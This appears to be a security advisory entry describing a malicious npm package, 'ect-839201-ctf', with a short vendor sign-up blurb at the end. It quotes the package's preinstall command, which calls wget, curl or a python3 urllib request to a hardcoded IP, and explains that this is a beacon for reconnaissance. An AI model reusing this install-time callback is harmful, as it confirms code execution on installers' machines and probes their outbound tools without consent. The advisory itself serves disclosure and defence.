Malicious code in ect-839201-ctf (npm)
MAL-2026-5721
Published · Modified
Description
__
Source: amazon-inspector (bda37f74ff0d1b56cb7805906d4fd32a7e2ccc15aa96768d9f9e510202712dcb)
On npm install, package.json's preinstall script executes wget http://10.107.121.85:8000/callback_wget || curl http://10.107.121.85:8000/callback_curl || python3 -c "import urllib.request; urllib.request.urlopen('http://10.107.121.85:8000/callback_py')". This unconditionally beacons to a hardcoded RFC1918 IP over plain HTTP with three different callback paths corresponding to the tool that succeeded — a recon primitive that confirms arbitrary code execution on the installer's machine and enumerates which outbound utilities are available. The package's own description is "Probe", and it ships no functional code. There is no legitimate package-functional purpose for the beacon; the install-time outbound request is the package's entire behavior.
References
Ready to move
Start Securing
Free, no credit card | First findings in minutes